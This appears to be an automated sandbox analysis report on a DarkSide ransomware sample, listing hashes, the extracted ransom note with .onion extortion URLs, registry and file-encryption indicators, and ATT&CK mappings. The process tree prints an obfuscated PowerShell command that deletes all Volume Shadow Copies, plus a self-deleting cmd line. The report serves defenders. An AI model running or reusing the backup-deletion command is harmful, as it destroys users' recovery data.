darkside | 4dcb5d42f6a37cb000de14de346978fa3a9f6a8cd4e41aaec3a15534cc726a1d

General

Target

Darkside.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.548ef3f2.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (158) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\HideMove.png => C:\Users\Admin\Pictures\HideMove.png.548ef3f2	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\HideMove.png.548ef3f2	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\OptimizeComplete.tiff	Darkside.exe
File renamed	C:\Users\Admin\Pictures\OptimizeComplete.tiff => C:\Users\Admin\Pictures\OptimizeComplete.tiff.548ef3f2	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\OptimizeComplete.tiff.548ef3f2	Darkside.exe
File renamed	C:\Users\Admin\Pictures\PingOpen.tif => C:\Users\Admin\Pictures\PingOpen.tif.548ef3f2	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\PingOpen.tif.548ef3f2	Darkside.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\548ef3f2.BMP"	Darkside.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\548ef3f2.BMP"	Darkside.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2076	Darkside.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Control Panel\Desktop\WallpaperStyle = "10"	Darkside.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.548ef3f2\ = "548ef3f2"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\548ef3f2\DefaultIcon	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\548ef3f2	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\548ef3f2\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\548ef3f2.ico"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.548ef3f2	Darkside.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3976	powershell.exe
3976	powershell.exe
3976	powershell.exe
2076	Darkside.exe
2076	Darkside.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2076	Darkside.exe
Token: SeSecurityPrivilege	2076	Darkside.exe
Token: SeTakeOwnershipPrivilege	2076	Darkside.exe
Token: SeLoadDriverPrivilege	2076	Darkside.exe
Token: SeSystemProfilePrivilege	2076	Darkside.exe
Token: SeSystemtimePrivilege	2076	Darkside.exe
Token: SeProfSingleProcessPrivilege	2076	Darkside.exe
Token: SeIncBasePriorityPrivilege	2076	Darkside.exe
Token: SeCreatePagefilePrivilege	2076	Darkside.exe
Token: SeBackupPrivilege	2076	Darkside.exe
Token: SeRestorePrivilege	2076	Darkside.exe
Token: SeShutdownPrivilege	2076	Darkside.exe
Token: SeDebugPrivilege	2076	Darkside.exe
Token: SeSystemEnvironmentPrivilege	2076	Darkside.exe
Token: SeRemoteShutdownPrivilege	2076	Darkside.exe
Token: SeUndockPrivilege	2076	Darkside.exe
Token: SeManageVolumePrivilege	2076	Darkside.exe
Token: 33	2076	Darkside.exe
Token: 34	2076	Darkside.exe
Token: 35	2076	Darkside.exe
Token: 36	2076	Darkside.exe
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeBackupPrivilege	4048	vssvc.exe
Token: SeRestorePrivilege	4048	vssvc.exe
Token: SeAuditPrivilege	4048	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 3976	2076	Darkside.exe	67
PID 2076 wrote to memory of 3976	2076	Darkside.exe	67
PID 2076 wrote to memory of 3368	2076	Darkside.exe	74
PID 2076 wrote to memory of 3368	2076	Darkside.exe	74
PID 2076 wrote to memory of 3368	2076	Darkside.exe	74

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Darkside.exe
"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3976
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL
  2⤵
  PID:3368

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4048

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9f80c33d8a4a596d3847cd7684f6db01

SHA1
ee980fed34b76e4b98dfa96573eb6be0c82643d7

SHA256
d340cfe06b313fedf25b49907c39584210a155788a4807507cee231a87e0d3a5

SHA512
17db5cfa56dbb76c036e49d3e6055a168f1dd08b155d93c514afb95ef16d8985bf921c037d5d1a45865b1df987e7746b5d2c98be54762d4219d60cf92acd44df

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nyts4xzr.wbl.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

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C:\Users\README.548ef3f2.TXT

Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

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memory/3976-128-0x0000014DCE490000-0x0000014DCE4B2000-memory.dmp

Filesize
136KB

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memory/3976-131-0x0000014DE6C10000-0x0000014DE6C86000-memory.dmp

Filesize
472KB

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memory/3976-132-0x0000014DCE430000-0x0000014DCE440000-memory.dmp

Filesize
64KB

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memory/3976-133-0x0000014DCE430000-0x0000014DCE440000-memory.dmp

Filesize
64KB

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memory/3976-152-0x0000014DCE430000-0x0000014DCE440000-memory.dmp

Filesize
64KB

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